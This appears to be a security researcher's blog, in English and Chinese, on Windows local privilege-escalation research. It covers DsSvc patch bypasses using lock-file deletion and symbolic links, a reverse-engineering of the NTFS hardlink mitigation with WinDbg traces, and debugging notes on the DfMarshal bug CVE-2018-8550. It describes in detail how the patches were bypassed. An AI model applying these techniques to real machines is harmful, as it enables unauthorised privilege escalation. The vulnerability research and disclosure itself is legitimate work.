When I reported this vulnerability, Microsoft did not award bounty for the vulnerability because Microsoft introduced a mitigation for hardlink. Whether normal user have control permission for the target file, if not, the hard link cannot be created, that is, the hardlink cannot be used by normal user in rs6 and WIP.

DsSvc security feature bypass

After receiving the reply from Microsoft, I made a quick review on the DsSvc service code again and found a very interesting place. In DsSvc, it will protect the folder where the target file is to be operated. Create a lock file to prevent this folder from being mounted to another directory. The function that implements this security feature is DSUtils::DirectoryLock::Lock. The function code is as follows:

__int64 __fastcall DSUtils::DirectoryLock::Lock(signed __int64 this, const unsigned __int16 *a2)
{
  [...]
  v20 = CreateFileW(v19, 0x80000000, 7u, 0i64, 4u, 0x4000100u, 0i64);
  [...]
}

The function calls CreateFile to create the lock file. I found that the lock file inherits the security descriptor of the parent directory, so actually, I have full control on lock file. It means I can delete the lock file after the lock file is created and after that I mount the directory to limit directory(the directory will be empty after I delete file). This way, even if I don't use hardlink, I can finally call CopyFile to copy the payload to a limit file in the limit directory.

The story is still going on

Microsoft finally patched vulnerability I report. In CopyFromSharedFile, Microsoft use a new function DSUtils::CopyFileWithProgress with the following code:

__int64 __fastcall DSUtils::CopyFileWithProgress(BOOL *this, DSUtils *a2, DSUtils *a3, const unsigned __int16 *a4)
{
   DSUtils::OpenFile((const WCHAR *)a2, (const unsigned __int16 *)0x80000000i64, 7u, 0, &hObject);
   v7 = DSUtils::OpenFile((const WCHAR *)a3, (const unsigned __int16 *)0x80000000i64, 3u, 0, &pbCancel);
   [...]
   DSUtils::IsHardLinkFile(pbCancel, &vars0);
   [...]
   v8 = DSUtils::GetFinalPathFromHandle(v7, (__int64)&lpData);
   if ( v8 >= 0
        && !CopyFileExW(
           (LPCWSTR)a2,
           (LPCWSTR)a3,
           (LPPROGRESS_ROUTINE)CopyFileProgressRoutine,
           lpData,
           (LPBOOL)dwCopyFlags,
           0) )
   [...]     
}

In the patch, Microsoft not only checks whether the file is hardlink, but also uses CopyFileExW function. This function calls a callback function CopyFileProgressRoutine when copying the file. The callback function will check if the target file path is the same as before the IsHardLinkFile check.

signed __int64 __fastcall CopyFileProgressRoutine(LARGE_INTEGER TotalFileSize, LARGE_INTEGER TotalBytesTransferred, LARGE_INTEGER StreamSize, LARGE_INTEGER StreamBytesTransferred, DWORD dwStreamNumber, DWORD dwCallbackReason, HANDLE hSourceFile, HANDLE hDestinationFile, LPVOID lpData)
{
  [...]
  v9 = DSUtils::GetFinalPathFromHandle(hDestinationFile, (__int64)&Str2);
    if ( v9 >= 0 && _wcsicmp((const wchar_t *)lpData, Str2) )
  [...]
}

Is it really over?

After I analyze Microsoft's patch, I sent an email to Microsoft to confirm whether they fixed the problem I reported later, that is, the problem about lock file created. At that time, my suggestion was to create a lock file that can not be controlled by normal users. This way the user cannot delete the lock file and mount the current directory to another directory. Microsoft confirmed that it had fixed the previous problem, but they may did not understand my suggestion.

Although Microsoft added multiple checks, it can be found that Microsoft has finished checking the target file when it calls DSUtils::OpenFile to open the file and the callback function CopyFileProgressRoutine compares the file path before and after, so there is a very obvious issue:

If I still have full control over the lock file, I can still bypass the check in another way, James Forshaw's symboliclink-testing-tools introduce a method, this way it mounts the directory to the root directory of the namespace, and then links the named object to other files. This method will cause the file path to be resolved to other file when NT parsing the file path. Instead of setting the symbolic link through the SetFileInformation method, the advantage of this method is that the target file parsed when calling GetFileInformationByHandle is the target file, so the member variable nNumberOfLinks is still 1, you can easily bypass the IsHardlinkFile check.

Therefore, you can link file to other file in this way before OpenFile. After OpenFile, including the GetFinalPathNameByHandle in the callback function, they all will be parsed to the same path. Therefore, the patch is finally bypassed, and the payload file can still be copied to the limit file by CopyFile.

last of the last...

Microsoft released a new patch in November 2019. Finally, Microsoft deleted the DirectoryLock function and the MoveFileInheritSecurity function I mentioned earlier, and used a new method DSUtils::OpenFileAlways to open the file and return the file handle which will be used in DSUtils::CopyFileWithProgress, it will opened until the function return. So, when the file is opened, the file no longer can be deleted and the mount point can not be created to other directory. Before CopyFile, the file directory to be copied is parsed by the GetFileInformationByHandle function.

///Instead of file path, DsSvc use file handle as incoming parameter

DSUtils::CopyFileWithProgress(v5, (const unsigned __int16 *)hObject, hFile, (void *)v19);
{
  [...]
  DSUtils::GetFinalPathFromHandle(hObject, (__int64)lpExistingFileName);
  [...]
  DSUtils::GetFinalPathFromHandle(hFile, (__int64)lpNewFileName);
  [...]
  DSUtils::IsHardLinkFile(hFile, dwCopyFlags, v8);
  [...]
  else if ( !CopyFileExW(
                     lpExistingFileName[0],
                     lpNewFileName[0],
                     CopyFileProgressRoutine,
                     v4,
                     (LPBOOL)&dwCopyFlags[1],
                     0) )
  [...]
}

And also, DsSvc uses ImpersonateClient to make sure the target file is an accessible file.

 v6 = AutoImpersonate<1>::ImpersonateClient(&v39);
 [...]
 v6 = DSUtils::OpenFileAlways(lpFileName, Str, (unsigned __int64)&hFile);
 [...]
 if ( (_DWORD)v39 )
   RpcRevertToSelf();

Similarly, Microsoft has rewritten the CopyFileProgressRoutine callback function. In the function, DsSvc will compare the source file and target file with the FilePath and the FileID.

signed __int64 __fastcall CopyFileProgressRoutine(LARGE_INTEGER TotalFileSize, LARGE_INTEGER TotalBytesTransferred, LARGE_INTEGER StreamSize, LARGE_INTEGER StreamBytesTransferred, __int64 dwStreamNumber, __int64 dwCallbackReason)
{
 [...]
 v7 = DSUtils::GetFileIdFromHandle(hFile);
 [...]
 v7 = DSUtils::GetFileIdFromHandle((HANDLE)dwStreamNumber);
 [...]
 v7 = DSUtils::GetFinalPathFromHandle(hFile, (__int64)&v33);
 [...]
 v7 = DSUtils::GetFinalPathFromHandle((HANDLE)dwStreamNumber, (__int64)&v36);
 [...]
 if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
                             dwCallbackReason,
                             &v27) )
 [...]
 if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
                             dwCallbackReason + 64,
                             &v30) )
 [...]
 if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
                             dwCallbackReason + 32,
                             &v33) )
 [...]
 if ( (unsigned int)utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::compare(
                             dwCallbackReason + 96,
                             &v36) )
 [...]
}

In the old version, MoveFromSharedFile and MoveToSharedFile also use CopyFileWithProgress to move files. The story about DsSvc ends here.

Microsoft Hardlink缓解机制简单分析

7 June 2019 at 16:00

Author: k0shl of 360 Vulcan Team


简述


微软在Insider Preview引入了一个新的缓解机制来阻止普通用户创建硬链接(CreateHardlink),在逻辑漏洞的利用中,hardlink是一个非常实用且便捷的方法,当一个高完整性级别进程对低权限文件操作的时候(这里所谓低权限泛指normal user或更低权限用户可以完全控制的文件),可以利用hardlink将低权限文件链接到高权限文件(高权限是指需高权限例如SYSTEM操作的文件,比如C:\Windows目录下的绝大多数文件及子目录文件),从而会使高权限进程处理高权限文件(比如改变DACL,写入,创建等)这里简述一下利用hardlink的逻辑漏洞利用方法。

关于应用到hardlink技巧的漏洞可以参考Project Zero的James Forshaw的历史漏洞,他提交的逻辑类型漏洞中很多都应用到了hardlink的利用方法。

PS: 文中的代码示例均来自Insider preview(build 18898.1000),除了部分源码展示出处有单独说明。


Hardlink review


关于hardlink的创建可以参考James Forshaw的项目symboliclink-testing-tools (https://github.com/googleprojectzero/symboliclink-testing-tools),通过调用NtSetInformationFile设置文件的FileLinkInformation的属性将指定文件链接到目标文件上。

当然,符号链接曾经也是用来sandbox escape的有效手段,在AppContainter(或者低完整性级别进程中,例如Low Integrity)中,许多权限操作需要通过medium integrity进程来帮忙完成,这样可以通过一个AC可以操作的目录文件,硬链接到高权限文件,再利用Medium integrity进程来完成对高权限文件的操作,但微软加入了针对这种方法的Mitigation,如果是在AppContainer中调用NtSetInformationFile,会调用RtlIsSandboxToken检查进程Token,若在沙盒中,则设置需求的访问权限。其实现在ntoskrnl!NtSetInformationFile函数中:

    if ( a5 == 0xB || a5 == 0x48 )// 0xB和0x48都是FileLinkInformation
    {
      memset(&Dst, 0, 0x20ui64);
      SeCaptureSubjectContextEx(v6, *(_QWORD *)(v6 + 544), &Dst);
      v65 = RtlIsSandboxedToken(&Dst, v7);//检查沙盒Token
      SeReleaseSubjectContext(&Dst);
      if ( v65 )
        v14 |= 0x100u;//设置需求的访问权限,必须要有写权限
    }

0xB和0x48是FileLinkInformation的enumerate,它最终会调用ntfs.sys中NtSetLinkInfo设置指定文件的硬链接到目标链接,其代码在ntfs!NtfsCommonSetInformation函数中实现

          case 0xB:
          case 0x48:
            v47 = v11;
            v34 = NtfsSetLinkInfo(v4, v73, v10, v9, v47);

ntfs.sys是Windows的文件系统驱动,其调用方法是在ntoskrnl的NT API中调用IofCallDriver,通过调用DriverObject的MajorFunction发送IRP封装,进入Ntfs!NtfsFsdSetInformation函数。

这里微软通过RtlIsSandboxedToken的方法阻止了AC调用硬链接,同样注册表和文件的符号链接,目录挂载等方法也是通过类似方法缓解。

关于这次Insider Preview之前微软通常会通过两种方法来修补这类逻辑漏洞,第一种是模拟客户端,通过调用RpcImpersonateClient来模拟客户端Token,也就是说在接下来的上下文中,进程将以Client的权限执行代码,最后通过RpcRevertToSelf恢复原进程权限。第二种是通过调用GetFileInformationByHandle获取文件的属性,在GetFileInformationByHandle参数中有一个数据结构。

typedef struct _BY_HANDLE_FILE_INFORMATION {
  DWORD    dwFileAttributes;
  FILETIME ftCreationTime;
  FILETIME ftLastAccessTime;
  FILETIME ftLastWriteTime;
  DWORD    dwVolumeSerialNumber;
  DWORD    nFileSizeHigh;
  DWORD    nFileSizeLow;
  DWORD    nNumberOfLinks;
  DWORD    nFileIndexHigh;
  DWORD    nFileIndexLow;
} BY_HANDLE_FILE_INFORMATION, *PBY_HANDLE_FILE_INFORMATION, *LPBY_HANDLE_FILE_INFORMATION;

其中nNumberOfLinks会获取文件符号链接的数量,如果大于1则证明当前文件存在符号链接,则阻止后续操作进行。

关于修补漏洞的方法这里不做过多讨论,读者可以通过对补丁的对比找到微软修补此类漏洞的方法。


Hardlink Mitigation


在Insider Preview(build 18898.1000)中(可能更早),微软引入了针对hardlink的缓解措施,阻止普通用户创建高权限文件的硬链接,其主要思路是检查FileObject中ContextControlBlock的Flags,若其Flags不满足要求(RequirAccess),则最终调用SeAccessCheck检查进程对硬链接目标的真实访问权限,从而阻止普通用户创建高权限文件硬链接。

其主要代码在ntfs!NtfsSetLinkInfo中

    if ( !(*(_WORD *)(a5 + 0x68) & 0x310) )     // mitigation
    {
      ……
      if ( !(unsigned __int8)TxfAccessCheck(
                               v6,
                               v90,
                               *(_QWORD *)(v5 + 168),
                               *(_QWORD *)(v6 + 200),
                               0,
                               0,
                               0x100u,
                               0,
                               0i64,
                               v91,
                               v99,
                               (__int64)&v156,
                               0i64,
                               &v157,
                               0i64) )
      {
        v24 = 0xC0000022;//Access Denied
        if ( !NtfsStatusDebugFlags )
          return (unsigned int)v24;
        v84 = 995043i64;
        goto LABEL_200;
      }

TxfAccessCheck函数会调用SeAccessCheckEx检查进程的访问权限(写入,修改,删除等),若权限不满足,则返回0xC0000022拒绝访问。

我们需要回溯到外层函数调用NtfsCommonSetInformation来追踪a5+0x68的值,a5的值来自NtfsSetLinkInfo函数的第五个参数,关于回溯过程这里我不再赘述,a5的值来自于IRP封装的CurrentStackLocation,NtfsCommonSetInformation的第一个参数是一个IRP结构的参数,我简化了NtfsCommonSetInformation的代码,来看一下参数的传递过程。

signed __int64 __usercall NtfsCommonSetInformation@<rax>(_IRP *a1@<rdx>, __int64 a2@<rcx>, signed __int64 a3@<r15>)
{
v6 = a1->Tail.Overlay.CurrentStackLocation;
v8 = *((_QWORD *)v6 + 0x30);
v11 = *(_QWORD *)(v8 + 0x20);
case 0xB:
case 0x48:
v47 = v11;
v34 = NtfsSetLinkInfo(v4, v73, v10, v9, v47);
}

那么这个参数到底是什么呢,我们需要从CurrentStackLocation看起,CurrentStackLocation是IRP中的一个非常关键的成员,包括IRP封装调用Driver的方法MajorFunction都在此结构中,其数据类型是_IO_STACK_LOCATION。我们可以在这个地方下断点,命中时查看_IO_STACK_LOCATION结构。

3: kd> p
Breakpoint 0 hit
Ntfs!NtfsSetLinkInfo:
fffff803`8434d694 4c8bdc          mov     r11,rsp
1: kd> dq ffffa402da68f010+b8 l1
ffffa402`da68f0c8  ffffa402`da68f3b0 
1: kd> dt _IO_STACK_LOCATION ffffa402`da68f3b0
ntdll!_IO_STACK_LOCATION
   +0x000 MajorFunction    : 0x6 ''
   +0x001 MinorFunction    : 0 ''
   +0x002 Flags            : 0 ''
   +0x003 Control          : 0xe0 ''
   +0x008 Parameters       : <anonymous-tag>
   +0x028 DeviceObject     : 0xffffa402`d68f6030 _DEVICE_OBJECT
   +0x030 FileObject       : 0xffffa402`dac559d0 _FILE_OBJECT

这里需要解释一下,我在调试时直接在NtfsSetLinkInfo下断点是因为其第二个参数就是IRP结构,所以可以通过IRP直接跟踪到第五个参数的值,这里IRP结构的地址是0xffffa402da68f010,而_IO_STACK_LOCATION在IRP+0xb8偏移位置。

可以看到_IO_STACK_LOCATION + 0x30位置是FileObject,这个FileObject就是硬链接目标文件的FileObject。

接着可以跟踪FileObject+0x20是什么。

1: kd> dx -id 0,0,ffffa402ddde7080 -r1 ((ntdll!_FILE_OBJECT *)0xffffa402dac559d0)
((ntdll!_FILE_OBJECT *)0xffffa402dac559d0)                 : 0xffffa402dac559d0 [Type: _FILE_OBJECT *]
    [+0x000] Type             : 5 [Type: short]
    [+0x002] Size             : 216 [Type: short]
    [+0x008] DeviceObject     : 0xffffa402d68cc860 : Device for "\Driver\volmgr" [Type: _DEVICE_OBJECT *]
    [+0x010] Vpb              : 0xffffa402d47fa3a0 [Type: _VPB *]
    [+0x018] FsContext        : 0xffffe388a39a11b0 [Type: void *]
    [+0x020] FsContext2       : 0xffffe388a6297370 [Type: void *]

可以看到,其偏移+0x20处的对象是FsContext2,其值为0xffffe388a6297370,而第五个参数就是FsContext2,而a5+0x68检查的就是FsContext2+0x68位置的Flag。

我们可以从泄露的windows nt源码中找到关于FsContext2结构的蛛丝马迹,windows nt源码kdexts\ntfs.c的第963行

        DumpCcb( (ULONG) File_Object.FsContext2, 1 );

Ntfs通过调用DumpFileObject函数中的DumpCcb函数获取ccb(ContextControlBlock),看下DumpCcb函数,ntfs.c的第806行:

VOID
DumpCcb (
    IN ULONG Address,//FileObject->FsContext2
    IN ULONG Options
)
{
……
pCcb = (PCCB) Address;
……
}

其实PCCB是上下文控制块,CCB中还包含了文件的信息,比如文件名。

1: kd> dt _FILE_OBJECT 0xffff800bbd4832c0 FsContext2
ntdll!_FILE_OBJECT
   +0x020 FsContext2 : 0xffffcc8a`116bde50 Void
1: kd> dq 0xffffcc8a116bde50
ffffcc8a`116bde50  00000003`00880709 00000000`00000841
ffffcc8a`116bde60  00000000`00380026 ffffcc8a`1320b4b0
1: kd> dc ffffcc8a`1320b4b0
ffffcc8a`1320b4b0  0057005c 006e0069 006f0064 00730077  \.W.i.n.d.o.w.s.
ffffcc8a`1320b4c0  0073005c 00730079 00650074 002e006d  \.s.y.s.t.e.m...
ffffcc8a`1320b4d0  006e0069 00000069 4134342d 31392d45  i.n.i

FileObject->FsContext2最终会直接被强制转换成PCCB对象,其实a5+0x68就是PCCB+0x68,这个值是由什么决定的呢?这需要经过一些逆向分析。这里我简述一下分析过程,首先,我们知道FsContext2的值来自于FileObject,而这些结构体都处于IRP封装中,在nt! NtSetInformationFile函数中:

    LODWORD(v32) = IopAllocateIrpExReturn(DeviceObject, DeviceObject->StackSize, (unsigned __int8)(v31 ^ 1), retaddr);// Create IRP
    v34 = v32;
    Irp = v32;
    if ( v32 )
{
……
*(_QWORD *)(v36 + 48) = v16;              // Get FileObject
……
}

函数会创建IRP结构,如果创建成功,则会为IRP结构赋初值,其中v36+0x30是FileObject,v16的值来自于v83,而v83的则是通过句柄表获取的object,仍然在nt!NtSetInformationFile中。

  v15 = ObReferenceObjectByHandle(Handle, v14, (POBJECT_TYPE)IoFileObjectType, v7, &v83, 0i64);
  v16 = v83;

这个值是通过FileHandle获取的,FileHandle则是外层传入的,在James Forshaw的代码中通过OpenFile获取Handle,其打开的Access定义为MAXIMUM_ALLOWED,就是以最大的允许权限打开文件。

最终我们跟踪到NtOpenFile函数中调用ntfs!NtfsSetCcbAccessFlags设置+0x68偏移位置的flag,其调用路径为

2: kd> k
 # Child-SP          RetAddr           Call Site
00 ffffca88`5a766e48 fffff807`52d32d20 Ntfs!NtfsSetCcbAccessFlags
01 ffffca88`5a766e50 fffff807`52d37382 Ntfs!NtfsCommonCreate+0x2080
02 ffffca88`5a767040 fffff807`4fa08829 Ntfs!NtfsFsdCreate+0x202
03 ffffca88`5a767270 fffff807`52045b3d nt!IofCallDriver+0x59
……
0c ffffca88`5a767980 fffff807`4fbdb3a5 nt!NtOpenFile+0x58
2: kd> p
Breakpoint 0 hit
Ntfs!NtfsSetCcbAccessFlags:
fffff807`52c47c90 4c8bdc          mov     r11,rsp
2: kd> r rdx
rdx=ffff800bc33b34e0
2: kd> dq ffff800bc33b34e0+b8 l1 // _IO_STACK_LOCATION
ffff800b`c33b3598  ffff800b`c33b3880
2: kd> dt _IO_STACK_LOCATION ffff800b`c33b3880 FileObject
ntdll!_IO_STACK_LOCATION
   +0x030 FileObject : 0xffff800b`c3d13670 _FILE_OBJECT
2: kd> dt _FILE_OBJECT 0xffff800b`c3d13670 FsContext2 FileName
ntdll!_FILE_OBJECT
   +0x020 FsContext2 : 0xffffcc8a`15611620 Void
   +0x058 FileName   : _UNICODE_STRING "\Windows\system.ini"
2: kd> dd 0xffffcc8a`15611620+68 l1
ffffcc8a`15611688  00000000

这里还未赋值,接下来跟踪到NtfsSetCcbAccessFlags如下上下文位置,具体代码如下

fffff807`52c47ce0 0fb74714        movzx   eax,word ptr [rdi+14h]
fffff807`52c47ce4 6623c2          and     ax,dx
fffff807`52c47ce7 66094168        or      word ptr [rcx+68h],ax

3: kd> dq ffff800bc65d22b0+14
ffff800b`c65d22c4  02000000`001200a9

可以看到FsContext2+0x68值来源于0x1200a9和0x1a7与运算的结果,最后的值为0xa1,这个值会最后在NtfsSetLinkInfo中判断,而0x1200a9实际上就是ACE AccessMask,0x1200a9表示文件对当前进程只有Read Permission,而FullControl则是0x1f01ff,如果将File变成normal user可控的文件就会发现。

2: kd> dd ffff800b`bf2a7510+0x14 l1
ffff800b`bf2a7524  001f01ff

因此最后0xa1和0x310进行与运算的结果是0x0。

1: kd> p
Ntfs!NtfsSetLinkInfo+0x212:
fffff807`52d4d8a6 b910030000      mov     ecx,310h
1: kd> p
Ntfs!NtfsSetLinkInfo+0x217:
fffff807`52d4d8ab 6641854d68      test    word ptr [r13+68h],cx
1: kd> dd r13+68 l1
ffffcc8a`167399c8  000000a1

最终会进入SeAccessCheck检查文件访问权限,从而阻止创建硬链接。感兴趣的读者可以尝试用windbg修改FsContext2->Flag的值令其与0x310与运算后值为1,则可以创建高权限文件的硬链接。

DfMarshal系列漏洞CVE-2018-8550调试记录

10 May 2019 at 16:00

Author: k0shl of 360 Vulcan Team


关于CVE-2018-8550(DfMarshal系列漏洞)


前段时间看了一下James forshaw关于DfMarshal的漏洞,在本子上记录了比较多的东西,于是写这篇博客总结一下,漏洞流程并不复杂,DfMarshal在对对象(object)进行散集(UnMarshal)的过程中,如果object通过聚合(Aggregation)的方式自定义列集(Marshal)方法,最终会导致高权限进程使用特定的Unmarshal方法,在这系列漏洞中即DfMarshal接口, DfMarshal调用自己的UnMarshal方法(来自coml2.dll)而非COM默认的Unmarshal方法(来自combase.dll)。

关于这一系列漏洞的成因可以参考james forshaw以及看雪-王cb的帖子,王cb用c++方法重构了james forshaw关于DfMarshal中DuplicateHandle条件竞争(TOCTOU)的漏洞攻击流程,两者都可以作为参考,王cb帖子中关于漏洞成因的逆向工程已经十分详尽,这里就不再赘述。

这里需要再说一下关于整个攻击的流程,首先通过COM方法向audiodg申请一个共享内存section,之后调用NtViewMapofSection方法将section handle映射到当前进程空间,之后将section写入sdfmarshalpackage的hmem成员,之后通过高权限进程(比如BITS)触发DfMarshal->Unmarshal最终导致权限提升。

在这一系列的漏洞中,我比较关注的问题在于james forshaw运用的共享内存的方法,其实在james forshaw去年的slide中已经描述了section/file mapping容易出的问题,仔细阅读wrk源码,file mapping本身也属于section的一部分,关于createsection的实现可以阅读wrk源码base\ntos\mm\creatsec.c中MmCreateSection的实现,section有两种类型,一种是paging file,另一种是file mapping。

关于调试这个漏洞的过程中碰到的有趣故事是我这篇博客的主要内容。


1. 关于”Undocumentation API” NtQuerySection的故事


在王cb的帖子中提到了一个未文档化的API NtQuerySection,帖子中说他利用这种方法获取Section句柄,其实NtQuerySection并非真正的未文档化的API,在WRK中包含关于NtQuerySection的实现逻辑,代码部分实现在ntos\mm\querysec.c第27行,NtQuerySection的函数原型如下:

NTSTATUS
NtQuerySection(
    __in HANDLE SectionHandle,
    __in SECTION_INFORMATION_CLASS SectionInformationClass,
    __out_bcount(SectionInformationLength) PVOID SectionInformation,
    __in SIZE_T SectionInformationLength,
    __out_opt PSIZE_T ReturnLength
)

其实函数内部逻辑非常简单,其关键部分在64-237行,主要是调用ObReferenceObjectByHandle获取SECTION数据结构,再根据SectionInformationClass的值获取相应的成员变量内容,保存在buffer里交给SectionInformation指针返回给用户,来看一下SECTION数据结构:

typedef struct _SECTION {
    MMADDRESS_NODE Address;
    PSEGMENT Segment;
    LARGE_INTEGER SizeOfSection;
    union {
        ULONG LongFlags;
        MMSECTION_FLAGS Flags;
    } u;
    MM_PROTECTION_MASK InitialPageProtection;
} SECTION, *PSECTION;

可以看到其中并不包含HANDLE,事实上通过NtQuerySection的代码逻辑可以看出其功能并不是获取section object的句柄,而且是通过句柄获取SECTION结构的诸如address,size等信息。因此王cb帖子中关于这个未文档化API作用的描述是有一些失误的,他的代码中也只是应用NtQuerySection获取audiodg.exe中section的大小判断sdfmarshalpackage中开辟的大小是否足够存放section。

而真正获取句柄的方法是通过NtQuerySystemInformaion直接读取句柄表中的objectype为section的句柄。


2.关于Audiodg.exe的故事


正如之前所说我比较关心james forshaw所使用的关于section的方法,Audiodg.exe是Audiosrv的一个子进程,真正的父进程是代理在svchost中的,这两者都是SYSTEM进程。在进入正题前首先我们来看一下接口的调用过程,james forshaw的poc中应用IMMDeviceEnumerator接口调用最终获取到IAudioClient接口指针,从而申请section,调用过程为:

IMMDeviceEnumerator-> GetDefaultAudioEndpoint
             |
              -----> IMMDevice->Activate
                             |
                              -----> IAudioClient

IMMDeviceEnumerator通过MMDeviceEnumerator class创建实例,这个类是一个InprocServer,因此实际上这里创建的是一个进程内调用过程。

而在IMMDevice->Activate方法中会再次调用CoCreateInstance创建IAudioClient实例,其代码实现逻辑在CEndpointDevice::Activate->CSubEndpointDevice::Activate,代码很简单,但是逻辑过长这里我就不再拷贝了,在调用过程中可以这样下断点。

0:000> ba e1 MMDevApi!CSubEndpointDevice::Activate
0:000> sxe ld: AudioSes.dll
0:000> g
Breakpoint 0 hit
MMDevApi!CSubEndpointDevice::Activate:
00007ff8`72fcc4c0 4055            push    rbp
0:000> g
ModLoad: 00007ff8`72fc0000 00007ff8`73030000   C:\WINDOWS\System32\AudioSes.dll
ntdll!ZwMapViewOfSection+0x14:
00007ff8`7c2dfb94 c3              ret

而IAudioClient接口实现依然是一个进程内接口,接口中方法的代码实现在AudioSes.dll中。

在我调试的过程中发现了两个有趣的地方。


第一个是james forshaw使用IMMDeviceEnumerator最终获得IAudioClient接口指针并调用Initialize的AUDCLNT_SHAREMODE.AUDCLNT_SHAREMODE_SHARED方法创建一个section这并不是必须的,Windows下有一个服务叫做计划任务(tasks schedular)服务,其代理在一个SYSTEM权限的svchost中,它的管理职能实现在svchost的子进程taskhostw.exe中。

可以看到它托管了systemsoundsservice的任务,当systemsoundsservice调用audiosrv服务的时候,会令audiosrv启动audiodg.exe子进程并创建section,这个section就是我们在漏洞触发时使用的section。

下面我们来看一下这个过程,首先Audiosrv的svchost中启动audiodg.exe的调用函数是audiosrv! AudioServerInitialize,调试时我们可以通过windbg附加到audiosrv的svchost上,然后通过ba e1 audiosrv!AudioServerInitialize,之后通过任务管理器kill掉audiodg已经存在的子进程(有一种情况是进程不存在,一般都是存在的,后面会解释,若进程不存在可以看我博文后面的部分,其实很多声卡操作可以激活taskhostw中的功能从而创建audiodg.exe,比如右键右下角扬声器,点击打开音量混合器,随便拖动一下:P),立刻就能捕捉到windbg中断在AudioServerInitialize。

AudioServerInitilize会进入内部函数调用AudioServerInitialize_Internal,函数内部有一个虚函数调用,调用到CWindowsPolicyManager::RpcGetProcess,这里会获取RPC Client的processid。(是的,其实AudioServerInitialize就是RPC接口之一,这点后面会提到。)。

0:007> pc
audiosrv!AudioServerInitialize_Internal+0x24a:
00007ff9`13cdc40a ff1508f51200    call    qword ptr [audiosrv!_guard_dispatch_icall_fptr (00007ff9`13e0b918)] ds:00007ff9`13e0b918=00007ff922fcfc10
0:007> u rax
AUDIOSRVPOLICYMANAGER!CWindowsPolicyManager::RpcGetProcess:
00007ff9`13c59740 488bc4          mov     rax,rsp
00007ff9`13c59743 48895808        mov     qword ptr [rax+8],rbx

Audiosrv会通过RpcGetProcess方法内部调用CApplicationManager::RpcGetProcess最终调用I_RpcBindingInqLocalClientPID获取到绑定RPC的Client的PID,具体的的实现在AUDIOSRVPOLICYMANAGER.dll中,

__int32 __fastcall CApplicationManager::RpcGetProcess(CApplicationManager *this, void *a2, struct CProcess **a3)
{
  v121 = a3;
  v114 = -2i64;
  v3 = a2;
  v4 = (CApplicationManager *)g_ApplicationManager;
  v93 = (CApplicationManager *)g_ApplicationManager;
  *a3 = 0i64;
  v5 = I_RpcBindingInqLocalClientPID(a2, &dwProcessId);
  //获取绑定的rpc client的pid
  if ( v5 )
    return wil::details::in1diag3::Return_Win32(
             retaddr,
             (void *)0x3B2,
             (unsigned __int64)"multimedia\\audiocore\\server\\audiosrv\\windowspolicymanager\\applicationmanager.cpp",
             (const char *)(unsigned int)v5);
  v77 = 0i64;
  v7 = CApplicationManager::TryFindProcessFromProcessId(v4, dwProcessId, (struct CProcess **)&v77);


0:007> pc
AUDIOSRVPOLICYMANAGER!CApplicationManager::RpcGetProcess+0x46:
00007ff9`13c6c7fe ff15b40a0200    call    qword ptr [AUDIOSRVPOLICYMANAGER!_imp_I_RpcBindingInqLocalClientPID (00007ff9`13c8d2b8)] ds:00007ff9`13c8d2b8={RPCRT4!I_RpcBindingInqLocalClientPID (00007ff9`22935250)}
0:007> k//stack trace
Child-SP          RetAddr           Call Site
00000005`0bbfe810 00007ff9`13c59761 AUDIOSRVPOLICYMANAGER!CApplicationManager::RpcGetProcess+0x46
00000005`0bbfea10 00007ff9`13cdc410 AUDIOSRVPOLICYMANAGER!CWindowsPolicyManager::RpcGetProcess+0x21
00000005`0bbfea50 00007ff9`13cdc84d audiosrv!AudioServerInitialize_Internal+0x250
00000005`0bbfebc0 00007ff9`22957803 audiosrv!AudioServerInitialize+0x4d
00000005`0bbfec20 00007ff9`229bb4a6 RPCRT4!Invoke+0x73

其中I_RpcBindingInqLocalClientPID的第二个参数就是目标的PID,作为传出参数步过后可以看到PID的值。

0:007> p
AUDIOSRVPOLICYMANAGER!CApplicationManager::RpcGetProcess+0x4c:
00007ff9`13c6c804 85c0            test    eax,eax
0:007> dd rdx l1
00000005`0bbfe8d0  000016a4//pid = 0x16a4

其值为0x16a4,十进制为5796,即为我在之前的图片中taskhostw的pid,接下来函数会最终通过CAudioDGProcess::LaunchADGProcess创建audiodg.exe进程,其函数实现如下(中间省略号跳过了赋值audiodg.exe进程安全描述符的过程):

__int64 __fastcall CAudioDGProcess::LaunchADGProcess(__int64 a1, unsigned __int8 a2)
{
  if ( !GetSystemDirectoryW((LPWSTR)&v27, 0x104u) )//获取System32路径 C:\windows\system32
  {
   
  }
  v8 = StringCbCatExW((STRSAFE_LPWSTR)&v27, v5, v6, &v22, &v21, dwCreationFlags);//
//……
  *(_QWORD *)&ProcessInformation.dwProcessId = 0i64;
  if ( CreateProcessW(
         0i64,
         (LPWSTR)&v27,//创建进程commandline为 c:\windows\system32\audio.exe
         &ProcessAttributes,
         0i64,
         1,
         v2 << 18,
         0i64,
         0i64,
         (LPSTARTUPINFOW)&v26,
         &ProcessInformation) )

0:009> pc
audiosrv!CAudioDGProcess::LaunchADGProcess+0x82:
00007ff9`13cb7426 e8cd190000      call    audiosrv!StringCbCatExW (00007ff9`13cb8df8)
0:009> p
audiosrv!CAudioDGProcess::LaunchADGProcess+0x87:
00007ff9`13cb742b 8bd8            mov     ebx,eax
0:009> dc 50bcfe280
00000005`0bcfe280  003a0043 0057005c 004e0049 004f0044  C.:.\.W.I.N.D.O.
00000005`0bcfe290  00530057 0073005c 00730079 00650074  W.S.\.s.y.s.t.e.
00000005`0bcfe2a0  0033006d 005c0032 00550041 00490044  m.3.2.\.A.U.D.I.
00000005`0bcfe2b0  0044004f 002e0047 00580045 00000045  O.D.G...E.X.E...

Stack trace:
0:005> k
Child-SP          RetAddr           Call Site
00000005`0bafdfb0 00007ff9`13cb71af audiosrv!CAudioDGProcess::LaunchADGProcess+0x82
00000005`0bafe310 00007ff9`13cd6642 audiosrv!CAudioDGProcess::LaunchAndWaitForADGStartup+0x47
00000005`0bafe400 00007ff9`13cdc3da audiosrv!CAudioDGProcess::InstantiateADG+0x112
00000005`0bafe4c0 00007ff9`13cdc84d audiosrv!AudioServerInitialize_Internal+0x21a
00000005`0bafe630 00007ff9`22957803 audiosrv!AudioServerInitialize+0x4d
